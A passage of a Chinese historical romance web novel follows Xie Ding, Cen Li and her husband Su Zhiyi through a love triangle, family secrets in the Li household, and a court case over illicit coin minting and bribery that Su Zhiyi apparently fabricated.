赵王勾结匈奴意图谋取帝位,谢父卷入这场叛乱之中,险些被朝廷认为是叛贼同党。朝廷的后援断绝,大军又陷入了匈奴和赵王的两军夹击之中。谢父使计杀死了赵王,又放出消息,令匈奴以为赵王叛乱乃是朝廷演的一场诱敌深入的戏,匈奴这才不敢继续南下。 因当时朝局不稳,诸侯叛逆之事被强压下去,这原本北征匈奴的一仗就成了“无功而返”。 李舂:“你父亲刚入军中时乃是在赵王麾下效力,受其赏识、屡屡被提携才有了后来,可龙宜的那一次,他亲手逼死昔年恩主,虽是大义在前,他终究心中有愧。况且陛下那边……” 李舂之后的话没有再说下去了,谢定却心如明镜。 是因为正崇帝不放心。 当今陛下不算昏庸,却多多少少有一点帝王都有的毛病,独断刚愎、疑心颇重。 京城大疫、诸侯王反叛,刚刚登基没多久,就天灾人祸,兵权在一个他并不信任的人手上,这人还刚刚被他怀疑过勾连谋反,正崇帝恐怕夜里都不能安寝。 李舂:“我也劝过谢公。那会儿王皇后还在世,陛下不是现在这样子,但谢公却坚持请辞。”他又叹息,“……赵王当年也是明主,他封地内百姓和乐、民生安稳,却为了帝位亲手放匈奴南下劫掠,归根到底也不过是一句争权夺利,谢公看到这些,也是心冷了。” …… 谢定刚从李舂那边回来,就见到了守在府门口的谢兰君。他有点奇怪谢兰怎么在这儿等着,便也开口问了,“怎么没进去?” 谢兰君像是很犹豫要不要开口,支吾着:“我听平叔说,兄长又去了屯骑校尉府上。” “有些事要找李叔求证。” 谢兰君不知道自己该不该松口气,但口中却不由追问,“只是如此?” “不然呢?” 谢兰君还待开口,旁边一辆马车缓缓在旁停.下,车上下来一个人。 正是前几日才被谢兰君轰出门去的刘氏。 看见这人,谢兰君脸色一下子沉下去。 但还不等谢兰君开口赶人,刘氏已经几个箭步冲上来,眼明手快地拉住人,把早准备好的说辞一股脑的倒出来,“上次和兰君说的话,是我不好。我也去周围打听过了,这李大娘子温良贤惠,周围没有一个不夸的,她命格虽硬些,那是等闲人压不住她。但怀朔你哪里是一般人?府上正该有个命格硬一点的……” 刘氏抓着谢兰君的手,人却转向了谢定。 兴许也是知道上次把人得罪地狠了,准备换个人说道。 谢定却没听明白,“什么?” 谢兰君却不想再和刘氏纠缠了,她还没忘记这位“叔母”上次想给谢定许配个傻子呢。 正好这会儿人都齐全,她干脆直接对着谢定,“兄长上次在阳曲的时候,让叔母帮忙留心自己亲事。但我想了想,叔母事忙,此事还是不劳烦叔母了。兄长怎么看?” 提起阳曲,谢定也想起了上次让刘氏帮忙说媒的事。 但那是给兰君啊?怎么成了他了? 还没等谢定想明白怎么回事,那边刘氏已经急了。 她拔高调子,声音又尖又急地,“兰君你也是的,怎么能因为外人就发这么大火呢?一笔写不出两个谢字,你想想前些日子陛下发怒欲要株连,牵扯的不还是自己家人吗?上次的事是叔母疏忽了,但这成亲的大事,家里怎么能没个长辈……” 谢兰君脸色微变,但却喝止不及,谢定已经听清楚了最紧要的内容。 “株连?” 谢定定神看向刘氏。 刘氏被这眼神看得一骇,磕巴着,“我、我……也是听说?” 谢定一字一顿,“那就请叔母入内稍坐,好好同侄儿说说这个‘听说’。” 刘氏:“……” 被那冷冰冰不像是看活人的眼神一扫,刘氏从脚底板直直凉到了脑门。她哪里还敢有半点隐瞒,刚一入内,就哆哆嗦嗦、竹筒倒豆子似的地把那些时日听闻的流言全都交代了。 末了还不忘把自个儿摘出去。 “都是你叔父打听的,他那个人好交际,很有些个不着五六的朋友,谁也不知道消息真假。”眼见这谢定脸色愈发沉郁,刘氏忙不迭地改口,“……浑说的!都是浑说的!你最像你父亲,哪里是会降敌的人?外面沸沸扬扬的,家里也没有士卒上门,都是些危言耸听的谣传。” …… 等到送走了刘氏,谢定转向谢兰君,“你有什么要同我说的?” 谢兰君沉默。 “你该知道,这事瞒不过去。我可以去问平叔,问李校尉……在朝中闹得这么大的事,我不可能一直被瞒在鼓里。” 谢兰君:“……” 谢定恍然,“是她让你这么干的?” 他没有说出那个“她”是谁,但两个人都心知肚明。 谢兰君终于轻点了一下头,将那些时日的经历一一说了。 “……岑姐姐入宫跪求陛下,但那时朝中都在为家里求情,岑姐姐不敢再继续叩求,只能想别的法子。后来洮中都尉截断军粮的消息传来,兄长又一直没有消息,我们都以为……在之后就是大胜的消息传来,我和岑姐姐都很高兴,但岑姐姐说,此时不必告诉你。” “所以你们便都瞒着我?” “兄长!” 谢兰君看出了谢定神色不对,想要阻拦,谢定却抬手止住了她,“兰君,你不该帮她的。” * 另一边,岑篱又见到了李妢。 御史中丞私铸钱币的案子还得再查下去,但是中毒而亡的事却因为管事的招认告一段落,吕掌柜和吕小郎君都被放了回来。 岑篱路过西市的时候还特意掀开马车看了眼,吕家的工坊铺子重又开了门,门口热闹得很。 按理说这是件好事,但岑篱见到李妢的时候,后者却不见展颜。 还是岑篱主动提起来,“上次的事,大娘子可问了?” 李妢:“……” 这可不是有好结果的样子。 岑篱猜测可能是那吕小郎君的答案不如人意,正准备出言安慰,却听李妢开口,“我没再去西市了。” 岑篱讶然:“为何?” “吕家在西市的铺子开了好些年,虽也有生意上的刁难,但也一直平平安安没出什么事,可刚和我扯上关系,吕掌柜和吕郎君便都入了狱……”李妢勉强往上扯了下唇角,“兴许我真的有些冤孽在身上,还是莫要离他们太近得好。” 听出了李妢口中的消沉之意,岑篱不由拧紧了眉,反驳道:“御史中丞一事谁也想不到,怎能和大娘子扯上关系?再者这案子现在已经了结,吕家铺子反倒是因祸得福,吕氏父子的手艺传出去,我今日来时经过西市,还看见那铺子外门庭若市。” “多谢郡主开解。”李妢却只是笑了笑,看起来并没有把这话往心上放,“本就不该的事,这么了结倒是好了。上次曲家郎君退亲,娘亲又在替我相看亲事了,找个命格硬些的也好,别再被我带累了……” 岑篱又劝解了几句,但李妢却像是钻了牛角尖。 她虽待人谦和,但性子却是极固执的,若非自己人能想通,旁人怎么劝都劝不动。 岑篱最后也只好作罢,只是不免问起李妢的亲事。 子不语怪力乱神,岑篱也并不觉得吕家的遭遇和李妢有关。但李妢却屡屡遇到这样的事,实在奇怪。 天命非人力所能及,但总该尽些人事。 若是李妢的亲事议定,她也好帮忙打听打听那夫家的人品。 “还是没影的事呢,只是对面透了些口风,娘亲看我近日来心情不好,便透露了些给我。说起来,这桩亲事还是我家高攀了,若真能成了,爹娘应当也极高兴。” “……是谢家的大郎君。那日章台打马游街,谢家郎君不知成了多少小娘子梦中情郎,谢家若是有意结亲,怎会有人不允?” “……” 岑篱:“……” 李妢像是要说服别人,又像是为了说服自己,一下子说了好多话。 岑篱却只是晃着神,不知道自己怎么答应的,她恍恍惚惚着告别了李妢,登上了回府的马车。 原来是谢定。竟然是谢定…… 也对,在阳曲的那日,她便听到了谢定想要议亲的事,长安城的适龄女郎就这么多,真的遇到了也并不奇怪。 她只是、只是什么? 下了马车,从侧门进去,绕过影壁。 眼见着岑篱要直挺挺地撞到影壁上了,拾春忙开口提醒:“郡主!” 岑篱回神。 她四下环顾了一圈,对着拾春,“你先下去吧,我一个人去花园走走,四处看看。” 拾春:“……” 刚刚入冬,梅花还没开,都是枯枝败叶的,有什么好看的? 拾春不放心,但终究扭不过岑篱,只能道:“婢子就在外边守着,郡主有什么事叫我。” 岑篱也是到了花园,才发现自己找的这理由不算好。 但她确实想一个人静一静,周围的景色如何便不怎么要紧了。 她心不在焉地走了进去,还没走了几步,却突兀被人捂住嘴拉到了墙角。 岑篱:“唔——!!” “是我。” 耳边却响起一道熟悉的声音,岑篱总算看清楚来人。 居然是谢定! 第32章 口中血锈气蔓延,岑篱发现自己挣扎间咬破了谢定的手指。 偏偏后者像是觉不出疼来似的,神色没有丝毫变化。 岑篱还没完全回过神来,舌尖不自觉的舔.舐过伤口,谢定这下子绷不住,扭曲着表情倒嘶了口气。 岑篱意识到不妥,连忙松开了咬紧的牙关,谢定也拿开了捂着岑篱下半张脸的手。 只是拿开之后,他眼神不自觉在指间的牙印上游弋。血珠渗出,侧边还沾染着湿漉漉的水迹…… 岑篱咳了声,岔开话题,“你怎么进来的?” “翻墙。” 岑篱:“……” 她被这光明正大的语气噎了一下,总算想起这会儿更该问的问题:“你来这儿做什么?” “来找你。”他顿了一下,又道,“我想你了。” 岑篱心脏都随着他的话颤了一下。 但理智很快拉回了情绪,她强自镇定道:“你都要同人议亲了,便莫要做这样的事了。” 谢定听得眉头打结,“没有的事!那次是我听岔了,之后刘氏擅作主张……” 他这么解释了一半,又突然意识到什么,扬起声调,“你怎么知道我议亲了?你托人打听过?你介怀词事?!” 一连三个问题,调子越来越高,连眉眼都飞扬起来。 岑篱刚想要开口,外面传来一阵脚步声。不轻不重,每一步都稳稳地踏过来。 随着一声探寻的“令昭?”,岑篱整个人紧绷起来。 ——是苏之仪!! 岑篱连忙抬手推谢定,无声地做着口型:快躲! 谢定却纹丝不动。 有什么好躲的?他巴不得被苏之仪看见,让两个人和离呢。 脚步声越来越近,岑篱额上都起了细密的汗珠,看着谢定的眼神都近乎哀求了。 谢定:“……” 他终于还是动了。 一阵窸窣的动静,苏之仪向着声源处走去,但等他走过去,却见那边空无一人。 “令昭?” 苏之仪又轻唤了一声,仍是无人应答。 他在原地找了会儿,终究一无所获,转身离去了。 哒哒地脚步声远去,仅仅一步之隔,在墙壁拐角的视觉死角处,岑篱终于缓过气来,大口大口地呼吸。 谢定却从头到尾都神色平静。 他抬手轻轻捋了捋岑篱额侧被汗打湿的头发,轻声,“之前的事,兰君都同我说了。你是为了我才同他成婚的是不是?陛下以为我降敌了,你为了替我求情,才答应了和他的婚事。这种婚事不能作数的,我现在回来了……阿篱,同他和离吧。” 他这么平淡地说着这些,好像“和离”一场由皇帝亲自见证婚事是什么小事罢了。岑篱仿佛看到了当年,少年谢定和临王世子的那场冲突,他脸上明明带着刚打完架的青紫印痕,却坦然地反问:“那又如何?” 肆意张扬的、仿佛不被任何世俗之事牵绊。 岑篱骤然明白过来,她被谢定如此吸引的原因。身在宫墙之中,她无时无刻不想要离开那个地方、逃离这座囚笼,她自然会被那么一阵暴烈的风吸引。 但是那之后呢?她不能只是逃离,她想要追寻的又是什么? 脑海中无端地浮现出一幕画面。 西市的那一次,青年携着她的手,娓娓道着那并不光彩的过去……而她也想起了,那早已被她遗忘了的过往。 岑篱有片刻恍然,她看着谢定,缓缓地摇头,轻声:“有些事错过了就是错过了。” …… 谢定离开了。 等人走后,岑篱又在原地站了一会儿,平复好呼吸,抬手慢慢整理好了衣裙发髻。确定身上没什么异样,这才从这转角处走出来,但没走几步,就撞见了苏之仪。 岑篱脚步一顿,下意识地理了理裙摆,不确定刚才有没有沾上什么尘土草叶。 苏之仪:“我听拾春说你从李府回来就心情不好,有些放心不下,就进来看看,但刚才没有看见你。” 岑篱镇定回答,“可能是正巧错过了。” 苏之仪似乎是接受了这个解释,并未深究,又问起了岑篱在李府遇到什么事了。 李妢的事不好对外细说,岑篱也只能说点旁的扯开话题。 苏之仪明显听出来了,岑篱还以为他会像以往每一次一样,只假作不知,却听他低低地叹了口气,“阳曲一事,我与令昭也算是生死之交,这次御史中丞的案子也是患难与共……便是不论夫妻,我们交情也不同一般了,令昭非要同我这么生疏吗?” 岑篱怔住了。 苏之仪抬眼,不闪不避地和她对视。 岑篱:“……并非我不愿意说,只是涉及李家大娘子的名声,我也是碰巧知道,总不好随随便便宣之于口。” 苏之仪不置可否的应了一声,也不知信也没信,但也确实移开了目光。 两人又拣起别的事聊了几句后,不免谈起了御史中丞的案子,“那管事招认,御史中丞乃是服毒自尽,我却总觉得此事还有疑点。” “怎么说?” “那戴管事说是奉主家之命前去取算筹的,试问一个已有求死之心的人,怎么还有心去取一副算筹?” “或许是他随便找了个理由,以此调开身边的人,方便他自己服毒。” “也说得通,但我总觉得这里面还有什么。” 就在岑篱以为他会继续说别的什么疑点的时候,却听苏之仪话锋一转,“倘若这里头真的有别的什么,那便是有人趁机潜入府邸,毒杀御史中丞……正如陛下所言,连堂堂御史府邸都如此不安全,我心下也忍不住生出些不安,不如这几日重新排一排守卫,让人把府上的巡逻加紧一点。” 这话听起来没什么问题,但是在这个时间点提起来,岑篱总觉得有点微妙。 她抬眼打量了一下苏之仪。 苏之仪神色如常,“令昭以为如何?” “……也好。” 苏之仪勾了下唇,浅淡地笑了一下,又道 :“说起来,以往府上的巡逻都是岑府的护卫,我也让五铢重新安排一下,不好总是让你这么费心。” 他这么说着,抬起了手臂缓缓凑近。 最后停在了岑篱的脸颊侧边,轻轻帮她理了一下发髻,将那蹭歪了簪子摆回了正位。 岑篱已然确信苏之仪绝对是知道什么了。 她张了张嘴想要说话,却被手指虚虚抵住唇。 苏之仪弯了弯眼,带着笑意轻声,“我知道郡主为何下嫁,我也说过,我是真心求娶郡主的。” 岑篱顿了顿,抬手握住了苏之仪的手指。 两人的指腹都带着刻刀磨出的茧子,并不光滑,不过苏之仪手指还是要更骨相一些。岑篱顺着指.尖往下,握住了那只手。 像是没想到她会这么做,苏之仪脸上的笑意滞了滞。 岑篱莞尔轻声,“日后有闲暇,再带我去一次西市吧。” 她想要回到的过去,但那段过去早已随着时光流落遗失,无论如何也回不去了,那她是不是可以拥有自己的“过去”? ……那个记忆之中,娘亲指着爹爹哈哈大笑的温馨过往。 苏之仪:“……” 少顷,他试探地抓住岑篱的手,轻轻将人往自己的方向拉了拉。 岑篱并没有抗拒,只是顺着这个力道,落入了对方怀抱之中,又抬手环在青年的腰际,主动地拥了过去。 苏之仪沉默。 他半是晃着神地想,如果她真的只是想要将今日的事揭过去,她已经做成了。 * 随后的几日,天气愈加寒凉,又落下一场大雪。 但单女医的药方确实管用,这次下雪,岑篱膝盖没有再疼了。 雪后赏梅,岑篱应邀参加的一场长安城内的宴会,暖阁内炭火烧得正旺,热气蒸腾但却有些闷了,岑篱揣着手炉想去外面透透气,却无意间撞到了廊下的一对男女。 岑篱本想回避,却听到了一段对话,先听到了是其中年轻郎君的声音。 “……我已经让人去退了你姐姐的亲事。再过些时日,我就遣人上门,去你家提亲……” 岑篱出来之前还在和李妢闲谈,这会儿听到“退亲”二字便格外警醒。 她脚下顿住,忍不住细细打量过去。就见背对她的那女子披着雪白的狐裘,趁着散下来的墨发漆黑如瀑,明明冬日都穿得臃肿,但是她却自有一番窈窕的风.流。 虽未见过几次,但岑篱莫名知道她是谁。 屯骑校尉家的女儿,李奾。 那两人口中的“姐姐”,不就是李妢? 岑篱再打量对面的年轻郎君,很容易就和刚刚退了李妢亲事的曲郎君对上了。 那边两人还不知旁边多了一个听众,曲郎君还在剖白心迹,连连发誓求娶。 可李奾却是拒绝,“你才刚刚退了姐姐的亲事,就要上门求娶我,旁人看了,定然要揣测我了。爹娘本来就待我不亲近,这事一出,定然我恨我抢了姐姐的亲事。” “怎么是你抢了亲事?明明是我心慕于你,苦苦纠缠……” 之后又是一段诉说倾慕之心的爱语。 岑篱尽量不发出声音,一步一步地退了回去,去暖阁找了个人过来。 小半刻钟之后,站在这里的变成了两个人。 岑篱本来还担心回去找了李妢之后,那对男女已经走了,好在二人还在原地拉拉扯扯。 被示意噤声的李妢本来还奇怪发生了何事,听了一会儿之后,脸色由白变红,整个人都被气得发起了抖。 …… 当天晚些时候,李家祠堂。 李奾跪在石砖地板上,上面的灯火摇曳,一个个牌位次第列下,仿佛在俯视着下方的人,但对此李奾却像是全然无动于衷。 她甚至主动往前挪了挪,把上面摆着的那半结冰的水盆当成了镜面,揽镜自照。 吱呀一声,门被从外面推开。 李奾不必回头,就猜到了来人是谁,“真难得,姐姐居然还舍得来看我。” 李妢深吸口气,经过这么长时间的平复,她心情已经缓和了许多,只是有一个问题盘桓在心头,让她不问不痛快,“我只是想来问问你,我自问带你不薄。我自居长姐,对你处处相让、从未苛待了你,你为何……为何会做下这等事来?” 李奾回了头,那张姣好的面容上满是无辜的茫然。 “还请姐姐明示,是奾儿哪里犯了错吗?” 泪珠盈盈,我见犹怜。 若非亲眼目睹暖阁外一幕,李妢险些被她骗了去。 见李妢这反应,李奾扑哧一下笑出了声,那眼泪的确下来了,却是笑出来的。 “姐姐也瞧见了,我可什么都没干。我就是笑一笑、哭一哭,再流几滴眼泪,那些男人就像是狗一样过来了,姐姐该谢谢我的,若是没有我,姐姐不就真的嫁到了那等人家?若是婚后再闹和离,对姐姐的名声更不好。” 李妢气得摔门而去。 门扉砸出了一声巨响,李奾却悠悠然回头,低头看向水盆。 水面被摔门的动静震出层层波纹,李奾耐着性子等着这波浪平复下来。对着重又清晰的倒影,她露出一个旖丽的笑。 待她不薄? 她可不稀罕那些别人剩下的。 李奾轻嗤了一声,轻柔地抚上了自己的脸。 多好看啊。 这么好看的脸,值得世上最好的东西。 第33章 赌坊门口人来人往,门口站着几个膀大腰圆的看守,目光锐利地紧盯着里面来去的人,谨防有人在此地闹事。屋内的吆喝声透过敞开的大门传了出来,狂喜之下的大笑和悲恸的哭号混在一起,可谓是人间百态尽在一隅。 这几个看守当然还有别的作用。 不多一会儿,里面伙计抬手给了个招呼,看守之一立刻进到屋里,一把抓住了扒在桌子角不放手的男人,将人拖行到了外面。 伙计也跟着出来,啐了一口,像是憋了许久的气,这会儿才吐个干净。 “咱这儿可不兴抵押,还真当着你还背靠着侯府啊?什么时候等你把欠的钱补上,再来吧。” 万老三还待上前,但门口两个看守虎视眈眈往前一站,他顿时没了心气儿,小声啐了几句“狗眼看人低的东西”,老老实实往后退了回去。 但转眼看到街上,眼神却滴溜溜地在路人的钱袋上转。 不多会儿,他便选中了一个身形瘦弱的路人,跟随着对方一路走到人迹罕至的偏远处,悄悄抄起一块石块,屏息跟了上去。 然而还没走几步,就小腿一疼、脚下一绊,生生跌了个狗吃.屎。 前头那个路人听到动静回头,看着摔在原地的万老三,也意识到什么,顿时头也不回地跑了。 万老三按着自己突然抽疼的小腿,只道是今日倒霉。 正这么想着,却见一枚铜板咕噜噜地在石板上滚出去,又听“啪”的一声,那铜板停.下的同时,一个分量不轻的钱袋落在他身前几步远的位置。 万老三顾不得站起来,本能伸手去捞。 但是碰到之前,又感受到某种危险的预感,猛地收回手,一柄匕首贴着他的手指扎进了石砖的缝隙,倘若他收手的动作再慢一点,这根手指怕是要不保。 前方轻盈矫健地落下一个人来,一手拎起钱袋,另一只手手指勾住匕首尾端的圆环,绕在指.尖转了几圈。旋即蹲下.身来,低头看他,“我问,你答。” 万老三一个哆嗦,鸡啄米似的点头,“少侠饶命,小的一定知无不言言无不尽。” 要钱还是选刀子,对方这意思再明白不过了。 谢定点头,“你被栾都侯府推出去替主家顶罪,后来又突然反口说是不是。这期间,是不是有人找人说了什么?” 万老三:“这个、这个……” 侧边突然飘落 了几缕头发,脸颊上刺疼后知后觉漫开,本来支吾着万老三立刻打开了话匣子,“是是是!有的有的!不过不是那中间找的,而是更早的时候,石小郎君才刚刚被关到廷尉狱里的时候,便有人来找我。” “是什么人?” “小的不知。”怕是被以为是刻意欺瞒,万老三连忙找补,“那人是晚上来的,看不清身形,声音也刻意伪装过,要不是特别相熟的,肯定辨别不出来。” “……” 见谢定不说话,还以为是对这个答案不满,万老三又连忙,“虽然小的认不出来那人,但约莫能猜到他是替谁办事……小的猜是苏廷尉。少侠您别不信,小的一开始也不觉得是他的,先前苏廷尉入狱的时候,栾都侯推小的出来顶罪,那人却在这时候都没露面,小的想着定然不可能是他了。可后来在太常寺面前,小的改口的时候得找个理由,便扯到苏廷尉身上了,说是苏廷尉刚直不阿云云,那人后来给报酬时,明显心情上佳,连酬金都翻了倍……” 谢定本来就是怀疑这个,没想到对方配合。 他顿了下,又问:“你反咬主家,就不怕栾都侯杀你泄愤?” 万老三嘿然一笑,像模像样地拱了拱手,“皇恩浩荡,这事之后,我们一家子都消了奴籍,如今我也是良家子的身份了。若是杀了我,那可是要下狱的。如今这苏廷尉可正盯着拿栾都侯的把柄,栾都侯也不是傻子,哪里会这个时候动手。” “这苏廷尉要真是个秉公办事的人,我可能想要掂量一二,可我瞧着这帮子人的都是一个路子的,我要是真死了,苏廷尉不愁牵连到栾都侯身上,栾都侯如今投鼠忌器,不就由着我在京中快活嘛……等这阵风头过去,我也早就离了京去外头逍遥了……” “你说他们是一丘之貉?” “罗织罪名、栽赃构陷嘛。我又不是傻子,哪有那么多青天大老爷?石小郎君平日是平日里横行霸道的、死了不冤,但前些日子下狱的,可不都是他那混不吝的。就说那都邑侯家的小儿子,谁都知道那是个三棍子打不出了个屁的孬种,这一帮勋贵家的小郎君都把他当乐子耍,他强欺民女?哈哈哈怕是不是民女看上他家钱财把他给骑了……” 难得有人听自个儿胡咧咧,万老三可算打开了话匣子。 谢定当然不会全信,但却把话一一记了下来,留待之后查证。 阿篱不过是被那人一副装得光风霁月的样子给骗了。 等着把他那身君子皮囊扒下来,阿篱也便能看清了,这不过是个借机往上爬的小人罢了。 * 另一边,李妢被李奾气到摔门而去。 却不想再在家里呆着,而是约见了岑篱,重又走在西市的街巷上。 远远地看见那边吕家铺子,岑篱看向李妢,“要去看看吗?” 李妢犹豫了片刻,终是点头。 但是等走到近前,却见是吕掌柜和一个陌生的伙计在外招呼,不见吕郎君的身影。 正迟疑间,吕掌柜却看见了李妢。于是不多一会儿,里面便匆匆出来一个年轻郎君,挽着的袖子没来得及放下,胳膊上还被划了一道墨迹,墨渍未干,想来是刚刚手忙脚乱往外跑的时候沾上的。 李妢见这情形,忍不住掩着唇笑了起来,出来时那郁郁的心情一扫而空。 二人被邀到里间坐了坐。 铺子里面和以往不同,边缘的一角被辟出了一个桌案,上面散落着放了几卷竹简,因为主人抛下的动作太急,有些凌乱。 吕郎君也意识到不妥,不自觉抬手去挡,又觉得动作太刻意,讪讪地收回了手。 他开口解释,“我被关起来的时候遇到了苏廷尉,廷尉说我为自己和父亲申辩时很有条理,临分别的时候,他告诉我,倘若我能够通过明年的太学律法试,便举荐我任职廷尉府……” 他这么说着,眼神期期艾艾地往李妢身上落。 隐隐有些期待之意。 李妢本就想要说这事,却不期是对方主动提出。 被这眼神看着,她不自在地撇过脸去,低声:“我家中刚出了些事,今岁是不好商议亲事了。” 吕小郎君的表情当即一亮:对方这意思是,会等他一年。 岑篱看着这对有情.人也忍不住会心一笑。 她挪开目光落在一旁,看到桌案上的东西却不由多留意了几眼:好像是一枚印章?没有雕刻完? 那边二人一时都不好意思说话,反倒注意到岑篱视线。 吕小郎君主动解释,“苏廷尉托我雕刻几枚印章,因为要求的细致,还没有完工。等稍晚些时日,我就把东西送到苏府。” 岑篱点头应下,心底却又些微奇怪。苏之仪不是个铺张的人,但毕竟也位居九卿之位。这印章要是作为私印,材料未免也太劣质了些,而且“几枚”? 但看着旁边情意脉脉的两人,便知这点小事不适合此时追问,岑篱暂且按下了心中的疑虑。 …… 等到李妢回到家中,却得知了一个消息:李奾失踪了。 发现这事的小丫头战战兢兢地禀告,“到了时辰,婢子去给二娘子送饭,推门进去却发现里面一个人都没有。” 李母戚氏忙问:“可问过今日的门房?遣人找过了吗?” 却是一旁的李舂黑着脸,“找什么找?!” 知道爹娘又要起冲突,李妢干脆抬手示意那小丫头下先去,她细细地问过情况后折身返回,却无意中听到内里爹娘的对话。 “我当年就说这孽种留不得。她爹勾连赵王谋反,截断大军军报,差点让当年北征匈奴的大军全军覆没。谋逆的大罪没有株连九族已经是陛下恩赐,结果你可倒好,说什么稚子无辜,念着旧情非要留下这么个孽种来,这要是被查出来,可是窝藏钦犯,咱们全家都要杀头的。” 戚氏低声:“秋娘那么好的人,她拖着刚刚生产过的身子冲着我磕头,我哪里忍心啊?” “不忍心?你看咱们妢儿,婚事被她搅和成什么样子了?我早说了,那姓韦的就没有个好东西,这孽种也随了她爹……” 冷不防地听到了这么个秘密,李妢捂住了嘴才没有惊呼出声。 她悄无声息地阖上了门,轻手轻脚地往外退了出去。 她记得,父亲确实曾经举荐过一个韦姓的都尉,但后来的事她却不清楚了。 所以李奾其实是韦都尉的女儿? 谋反又是什么回事? …… 另一边,回了苏府的岑篱却发现了府邸被许多人围住。 都是些老弱妇孺,很容易地被护卫拦在了门外,但是人却没有走开,只是跪在地上冲着府门磕头。 岑篱拧眉听了一阵儿,没有听出个所以然来。 倒是门口的守卫看见了回来的马车,连忙拨开人群让出路来,供岑篱的车架回府。 岑篱免不了发问:“出了什么事?外面怎么聚了这么多人?” 从上次的事之后,门口的护卫便成了苏之仪的人了,岑篱与之并不熟悉。这会儿被问到,那护卫也只拱了拱手,回答:“都是柳县的人,廷尉接手了柳县坞堡私铸钱币的案子,这些人都是来求情的。” 岑篱:“这么多人?都是柳县来求情的?” 护卫点头应声,“是。” 但岑篱再问别的细节,对方就说不知道了。岑篱疑惑非但没有解开,反而更深了。 第34章 岑篱最后还是让景九去打听了外面那些人的情况。 他们确实是为柳县坞堡私铸钱币一案来求情的,但这其中却颇有些原委。 坞堡内的铸钱所是御史中丞的家奴管辖,但这些人也需要吃喝拉撒,一应采买只能从当地出,又雇了不少柳县的当地人负责杂事。柳县地方偏远贫瘠,这铸钱所偏偏最不缺钱,以至于这些年下来,竟是大半个柳县都靠着这个铸钱所过活。 岑篱诧异:“这些人全被抓了?” 景九点头。 岑篱拧紧了眉。那些被雇来的柳县人不可能知道什么,便是为了询问线索,也不至于问到这些人身上。况且从刚才的门口跪求的人来看,被抓走的都是家中的壮劳力,倘若真的出事,整个家都要喝西北风去了。 “我去找温知问 问。” 岑篱起身往外走,但还没走出去,苏之仪先从外面走进来了。 他像是已经知道了情况,直接开口,“令昭可是要问柳县的事?” “是。”岑篱点头,“我方才回来时,看见有乡民在府外求情。私铸钱币乃是大罪,但这些人也只是无辜卷入,并不知内情,一同论罪是否惩处过重?” 苏之仪解释:“铸钱一案牵扯重大,我担心那些人中藏着暗桩,所以才不得已把人都扣下。此事也是一时之计,等到案子查清楚了,便把人都放回去了。” 见岑篱还是皱眉,苏之仪叹了口气,“令昭虽习律法,却于这些事不熟悉……这些人虽非有意,到底是铸币一案的帮凶,所得的钱币也是赃物。将他们关上几日抵罪,待到出来的时候,也不必将赃获所得尽数返还了,日子还能好过些。”顿了顿,又叹,“是我不好,没能解释清楚情况,乡人不知内情,以为是杀头的大罪,这才乱了阵脚。我已经让人前去解释了,过会儿安排护卫护送他们回乡。” …… 这边,同岑篱解释清楚后,苏之仪出去却沉下了脸色。 五铢跪倒在前面,请罪道:“郎君恕罪,是小的办事不力,以为抓了人就完了,没接着派人手去注意柳县的动向。” “只此一次,下不为例。” * 几日后,朝堂之上。 谒者唱赞,群臣稽首,随着礼官一声“有事启奏”,苏之仪手持着笏板走出列位。 “启禀陛下,臣奉旨彻查御史中丞一案,现已查明,请奏于御前。” “准。” “御史中丞于柳县坞堡私自铸币,并以铸造钱币大肆贿赂官员,其心不轨,罪在当诛。臣于坞堡中拿到账册,又得到坞堡内工匠招认,其于七年二月,贿乐府三万钱;七年十一月,赠东园匠令丞各自十万钱;八年三月,以铸钱购京郊良田百顷,贿……” 随着苏之仪一个一个字地说过去,群臣列位之中,少府额上一点点渗出冷汗,身体止不住打起了摆子。不管是乐府、东园令丞还是左右织室,都是少府下的属官,而偏偏他自己也不干净。 朝堂许多官员都看见了这一幕,却皆都眼观鼻鼻观心状似不知。 少府求助的目光在朝堂内四处飘散,最后落在栾都侯身上,似乎是希望这位自己以往颇多孝敬的侯爷能有援手一二。 栾都侯却半垂下眼只作不知。 阳曲的事既然查出来了,必定要有个结果,一个御史中丞不够,再添一个少府就差不多了。 和知晓内情的御史中丞不同,这少府贪财好利,只是一味地收钱,对内里的事知道得极少,就算交代也交代不出什么来。 这样的人不用灭口,适当的时候把人推出来,反而演得更真。 待到苏之仪说出“贿少府五百万钱”,少府终于忍不住,扑通一声跪倒在地,“陛下明鉴,臣也是一时糊涂啊!” “混账东西!朕命你掌管皇家内库,你便是这么管的?!” 正崇帝虽携怒呵斥,但情绪还算平静。 少府跪地磕头,“臣糊涂啊!臣实在不知那御史中丞的钱是这般来的,只是内库之中乐器常有耗损;宫殿修缮工匠不熟悉构造,经常白耗费材料;织娘也有绣坏的样子……臣不敢从陛下私库盗取,却又恐上报,被陛下治督办不力的罪责,便一时昏了头,拿了这些钱。” 这话说得,仿佛他这收受贿赂,还真是一颗拳拳之心,全为了皇帝着想了。 不等苏之仪说什么,竟是一旁的栾都侯上前一步,拱手道:“不管因何缘故,此等事情若推而广之,必然令朝中不稳、社稷大乱,还请陛下从严处置,以儆效尤、严正国法。” “陛下!” 正崇帝:“说得有理,那就由廷尉府议定个章程出来,务必使后人警醒着些,不敢再犯。” 少府脸色惨白地委顿于地。 苏之仪却轻笑了一声,半转身朝向栾都侯,拱手施了个礼:“栾都侯能如此说,本官实在深感大义!” 栾都侯心底咯噔一下,暗道不好。 而那边,苏之仪已经转回去,接着禀报道:“少府只是其一,臣又在密室处找到暗藏的账册,其中记载更是触目惊心……行贿太仆尤冠三百万钱……太仆掌管全国马政,臣在阳曲所见,那叛贼倪延麾下竟有骑兵若干,臣以为阳曲郡内多是良田,非适合养马之所,不知太仆是如何安排的……” “除却太仆,数年之间,其陆续行贿光禄勋、卫尉,或是良田或是金银,折算下来的数额或达千万钱之多,前者乃是宫廷宿卫侍从、后者宫门屯兵,却不知他究竟意欲何为?” 苏之仪这话一出,在殿内诸人脸色全都变了。 私养骑兵、收买宫卫……这罪名压下来,可就太大了! 再想想之前的少府之事,四年前巫蛊一案因太子自缢而不了了之,但当年朝堂上的风声鹤唳还印在诸臣的脑海里,不少想象丰富的人已经联想到了当年。 栾都侯面色控制不住地抽动了一下。 不可能,柳县的坞堡提前清理过,苏之仪不可能查到这些!他怎么会知道? 这念头在脑中闪过,栾都侯突然明白过来。 他根本不是查到了。 是捏造构陷的! 像是知道栾都侯会说什么,苏之仪轻轻扬了下唇角,“臣从柳县坞堡里找出的文书证据,又有坞堡内做工的柳县乡人为证,因竹简沉重,臣只随身带了一卷,还请陛下查看。” 